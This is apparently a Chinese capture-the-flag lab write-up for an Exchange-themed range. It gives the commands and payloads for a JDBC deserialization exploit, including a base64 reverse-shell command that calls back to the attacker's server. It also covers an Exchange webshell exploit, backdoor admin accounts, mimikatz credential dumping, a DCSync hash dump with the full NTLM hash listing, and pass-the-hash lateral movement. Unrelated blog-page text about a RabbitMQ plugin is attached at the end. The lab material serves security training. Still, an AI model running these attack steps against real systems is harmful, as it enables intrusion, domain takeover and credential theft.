春秋云境Exchange-WP【一遍过】

flag01

fscan扫描

打8000端口,admin/123456登录

官方插件(右上角)-> 华夏ERP,找找漏洞,可以打jdbc

vps上起个恶意mysql -->https://github.com/fnmsd/MySQL_Fake_Server

下载ysoserial jar包放到server.py目录下-->https://github.com/frohoff/ysoserial/releases

修改config.json

①base64中的ip和port需要改成自己vps的ip和port

②javaBinPath为vps上java的路径

{
    "config":{
        "ysoserialPath":"ysoserial-all.jar",
        "javaBinPath":"java",
        "fileOutputDir":"./fileOutput/",
        "displayFileContentOnScreen":true,
        "saveToFile":true
    },
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "ssrf":"https://www.baidu.com/",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
    },
    "yso":{
        "Jdk7u21":["Jdk7u21","calc"],
        "CommonsCollections7":["CommonCollections7","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}"]
    }
}

exp:

{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vps",
		"portToConnectTo": 3306,
		"info": {
			"user": "CommonsCollections7",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}
}

开启fake mysql server

python3 server.py

将exp的内容进行url编码

vps上监听端口

burpsuit抓包,改为/user/list?search=,再添加exp,发送

getshell

在/root/flag里找到flag01.txt

flag02

上传fscan和frp,开代理

nohup ./frpc -c  frpc.ini &

收集信息

start infoscan
(icmp) Target 172.22.3.12     is alive
(icmp) Target 172.22.3.2      is alive
(icmp) Target 172.22.3.9      is alive
(icmp) Target 172.22.3.26     is alive
[*] Icmp alive hosts len is: 4
172.22.3.12:8000 open
172.22.3.9:8172 open
172.22.3.26:445 open
172.22.3.9:445 open
172.22.3.2:445 open
172.22.3.9:443 open
172.22.3.26:139 open
172.22.3.9:139 open
172.22.3.2:139 open
172.22.3.26:135 open
172.22.3.9:135 open
172.22.3.2:135 open
172.22.3.9:81 open
172.22.3.9:80 open
172.22.3.12:80 open
172.22.3.12:22 open
172.22.3.9:808 open
172.22.3.2:88 open
[*] alive ports len is: 18
start vulscan
[*] NetInfo:
[*]172.22.3.9
   [->]XIAORANG-EXC01
   [->]172.22.3.9
[*] NetInfo:
[*]172.22.3.2
   [->]XIAORANG-WIN16
   [->]172.22.3.2
[*] WebTitle: http://172.22.3.12        code:200 len:19813  title:lumia
[*] NetBios: 172.22.3.2      [+]DC XIAORANG-WIN16.xiaorang.lab      Windows Server 2016 Datacenter 14393 
[*] 172.22.3.2  (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.3.26     XIAORANG\XIAORANG-PC           
[*] WebTitle: http://172.22.3.12:8000   code:302 len:0      title:None 跳转url: http://172.22.3.12:8000/login.html
[*] NetInfo:
[*]172.22.3.26
   [->]XIAORANG-PC
   [->]172.22.3.26
[*] WebTitle: http://172.22.3.12:8000/login.html code:200 len:5662   title:Lumia ERP
[*] NetBios: 172.22.3.9      XIAORANG-EXC01.xiaorang.lab         LWindows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.3.9:81      code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://172.22.3.9:8172   code:404 len:0      title:None
[*] WebTitle: http://172.22.3.9         code:403 len:0      title:None
[*] WebTitle: https://172.22.3.9        code:302 len:0      title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle: https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237  title:Outlook

总结出下面的拓扑

172.22.3.12     当前机器
172.22.3.9      域内Exchange机
172.22.3.2      域控
172.22.3.26     域内机器

172.22.3.9 上面有个outlook,先看看

https://172.22.3.9/owa/

用exp直接打(exprolog.py),盲猜邮件后缀是xiaorang.lab

proxychains python3 exprolog.py -t 172.22.3.9 -e administrator@xiaorang.lab

成功写入shell

用他给的命令测试

proxychains4 curl --request POST --url https://172.22.3.9/owa/auth/jm6yz.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k

成功

添加用户

proxychains4 curl --request POST --url https://172.22.3.9/owa/auth/jm6yz.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("net user test Abcd1234 /add").stdout.readall())' -k
proxychains4 curl --request POST --url https://172.22.3.9/owa/auth/jm6yz.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("net localgroup administrators test /add").stdout.readall())' -k

远程登录172.22.3.9

得到flag02

flag04

上传mimikatz抓hash

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit

整理信息如下

Zhangtong
22c7f81993e96ac83ac2f3f1903de8b4

XIAORANG-EXC01$
c92ede9b246ffcc04d88b872d7a3a1f6

BloodHound 分析(我的sharphound会报错没有连接ldap,不知道为什么),发现exchange这台机器上的域用户有writeDacl权限,也就是zhangtong,因此可以写 DCSync

SharpHound.exe -c all --OutputDirectory ./

给zhangtong加上dcsync权限(bloodyad.py

proxychains python3 bloodyAD.py -d xiaorang.lab -u 'XIAORANG-EXC01$' -p :c92ede9b246ffcc04d88b872d7a3a1f6 --host 172.22.3.2 add dcsync Zhangtong

dump域内用户的hash

proxychains impacket-secretsdump xiaorang.lab/XIAORANG-EXC01\$@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc
xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b8fa79a52e918cb0cbcd1c0ede492647:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\$431000-7AGO1IPPEUGJ:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_46bc0bcd781047eba:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_2554056e362e45ba9:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_ae8e35b0ca3e41718:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_341e33a8ba4d46c19:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_3d52038e2394452f8:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_2ddd7a0d26c84e7cb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_015b052ab8324b3fa:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_9bd6f16aa25343e68:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_68af2c4169b54d459:1133:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\HealthMailbox8446c5b:1135:aad3b435b51404eeaad3b435b51404ee:66169a1dcf8fb670fb3294a06400815c:::
xiaorang.lab\HealthMailbox0d5918e:1136:aad3b435b51404eeaad3b435b51404ee:f5761f49d266f7ff17bb89102f76a5c6:::
xiaorang.lab\HealthMailboxeda7a84:1137:aad3b435b51404eeaad3b435b51404ee:1e89e23e265bb7b54dc87938b1b1a131:::
xiaorang.lab\HealthMailbox33b01cf:1138:aad3b435b51404eeaad3b435b51404ee:0eff3de35019c2ee10b68f48941ac50d:::
xiaorang.lab\HealthMailbox9570292:1139:aad3b435b51404eeaad3b435b51404ee:e434c7db0f0a09de83f3d7df25ec2d2f:::
xiaorang.lab\HealthMailbox3479a75:1140:aad3b435b51404eeaad3b435b51404ee:c43965ecaa92be22c918e2604e7fbea0:::
xiaorang.lab\HealthMailbox2d45c5b:1141:aad3b435b51404eeaad3b435b51404ee:4822b67394d6d93980f8e681c452be21:::
xiaorang.lab\HealthMailboxec2d542:1142:aad3b435b51404eeaad3b435b51404ee:147734fa059848c67553dc663782e899:::
xiaorang.lab\HealthMailboxf5f7dbd:1143:aad3b435b51404eeaad3b435b51404ee:e7e4f69b43b92fb37d8e9b20848e6b66:::
xiaorang.lab\HealthMailbox67dc103:1144:aad3b435b51404eeaad3b435b51404ee:4fe68d094e3e797cfc4097e5cca772eb:::
xiaorang.lab\HealthMailbox320fc73:1145:aad3b435b51404eeaad3b435b51404ee:0c3d5e9fa0b8e7a830fcf5acaebe2102:::
xiaorang.lab\Lumia:1146:aad3b435b51404eeaad3b435b51404ee:862976f8b23c13529c2fb1428e710296:::
Zhangtong:1147:aad3b435b51404eeaad3b435b51404ee:22c7f81993e96ac83ac2f3f1903de8b4:::
XIAORANG-WIN16$:1000:aad3b435b51404eeaad3b435b51404ee:e67f038894716fdc100aa8c33d780399:::
XIAORANG-EXC01$:1103:aad3b435b51404eeaad3b435b51404ee:c92ede9b246ffcc04d88b872d7a3a1f6:::
XIAORANG-PC$:1104:aad3b435b51404eeaad3b435b51404ee:3bb1e81e724aed1963950e86489b607c:::
[*] Cleaning up...

连接域控,得到flag04

proxychains impacket-wmiexec xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2

flag03

还有个域内机器172.22.3.26没利用过(应该就是上面dump到的lumia用户)

可以用smbexec横向过去(但是终端里找东西有点麻烦)

proxychains python3 smbexec.py -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26 -codec gbk

也可以在刚刚拿到的域控上添加用户,远程登录172.22.3.2

net user test2 Abcd1234 /add
net localgroup administrators test2 /add

修改lumia的密码

xiaorang.lab\Lumia
Abcd1234

远程登录172.22.3.26,看到桌面有个压缩包

用刚改的密码登录之前的outlook网页,翻邮件知道密码是手机号

导出后做成字典passwd.txt,爆破得到密码(速度惊人得快),找到flag03

zip2john secret.zip > hash.txt
john --wordlist=passwd.txt hash.txt

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: rabbitmq_delayed_message_exchange-20171201-3.7.x.zip是RabbitMQ的一个插件包。RabbitMQ是一个开源的消息队列中间件,用于实现异步通信和解耦应用程序之间的消息传递。 这个插件包是针对RabbitMQ版本3.7.x的,目的是提供延迟消息交换的功能。延迟消息交换是指消息可以在一定的时间延迟后再被投递到消费者,这对于某些需要延迟处理的业务场景非常有用。 使用这个插件包,可以通过声明一个类型为"x-delayed-message"的交换机,来实现延迟消息交换。在发送消息时,可以通过设置消息的headers来指定延迟的时间,RabbitMQ会根据这个时间将消息存储在内部的延迟队列中。一旦到达延迟时间,消息将从延迟队列中被取出并且发送到相应的消费者队列中。 这个插件包的安装和配置相对简单,只需要将插件包放置在RabbitMQ的插件目录中,并在RabbitMQ的配置文件中启用该插件即可。安装完毕后,就可以在RabbitMQ中使用延迟消息交换功能。 总之,rabbitmq_delayed_message_exchange-20171201-3.7.x.zip是RabbitMQ的一个插件包,用于实现延迟消息交换功能,非常适用于一些需要延迟处理的业务场景。使用这个插件包可以方便地在RabbitMQ中实现延迟消息交换。 ### 回答2: rabbitmq_delayed_message_exchange-20171201-3.7.x.zip 是RabbitMQ插件的一个压缩包。 RabbitMQ是一种开源的消息队列中间件,它实现了高度可靠的消息传递机制,用于在分布式系统中传递和处理消息。RabbitMQ提供了一种将应用程序的不同部分连接起来的方式,允许它们之间进行可靠的通信。 而rabbitmq_delayed_message_exchange插件是RabbitMQ的一个延迟消息交换机的插件。它允许开发人员在RabbitMQ中发送具有延迟的消息。延迟消息是指在指定的延迟时间后才能被消费者接收到的消息。通过延迟消息交换机,可以实现一些需要延迟处理的场景,如订单超时提醒、定时任务等。 这个压缩包的命名格式为rabbitmq_delayed_message_exchange-20171201-3.7.x.zip。其中,20171201表示该插件的发布日期为2017年12月01日,3.7.x代表该插件适用于RabbitMQ 3.7.x版本。 使用该插件,你需要下载这个压缩包,然后解压缩。解压后会得到一个插件文件,将该文件放置到RabbitMQ的插件目录中。之后,你需要启动或重启RabbitMQ服务,使插件生效。 通过安装rabbitmq_delayed_message_exchange插件,你可以在RabbitMQ中实现消息的延迟发送和处理。这对于需要进行一些延迟操作的应用场景非常有用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值